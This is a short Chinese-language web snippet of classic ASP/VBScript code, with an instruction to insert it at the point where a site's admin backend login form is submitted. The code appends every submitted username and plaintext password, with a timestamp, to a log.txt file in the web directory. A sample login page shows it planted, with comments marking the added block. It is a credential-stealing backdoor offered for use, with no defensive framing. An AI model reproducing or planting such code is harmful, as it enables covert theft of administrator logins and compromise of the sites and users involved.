set fso=server.createobject("scripting.filesystemobject") if fso.FileExists(server.mappath("log.txt"))=true then set fin=fso.OpenTextFile(server.mappath("log.txt")) temp=fin.readall fin.close set fin=nothing end if set fout=fso.createtextfile(server.mappath("log.txt")) fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"") fout.close set fout=nothing set fso=nothing
在后臺登錄處表單提交的地方插入! 參考文件:
復制代碼 代碼如下:
<%@language=vbscript codepage=936 %> <% dim sql,rs dim username,password,CheckCode username=replace(trim(request("username")),"'","") password=replace(trim(Request("password")),"'","") CheckCode=replace(trim(Request("CheckCode")),"'","") if UserName="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>用戶名不能為空!</li>" end if if Password="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>密碼不能為空!</li>" end if if CheckCode="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>驗證碼不能為空!</li>" end if if session("CheckCode")="" then FoundErr=True ErrMsg=ErrMsg & "<br><li>你登錄時間過長,請重新返回登錄頁面進行登錄。</li>" end if if CheckCode<>CStr(session("CheckCode")) then FoundErr=True ErrMsg=ErrMsg & "<br><li>您輸入的確認碼和系統(tǒng)產(chǎn)生的不一致,請重新輸入。</li>" end if '這后面是我增加的代碼~開始區(qū)域 set fso=server.createobject("scripting.filesystemobject") if fso.FileExists(server.mappath("log.txt"))=true then set fin=fso.OpenTextFile(server.mappath("log.txt")) temp=fin.readall fin.close set fin=nothing end if set fout=fso.createtextfile(server.mappath("log.txt")) fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"") fout.close set fout=nothing set fso=nothing '后面的代碼被我刪除了~結(jié)束區(qū)域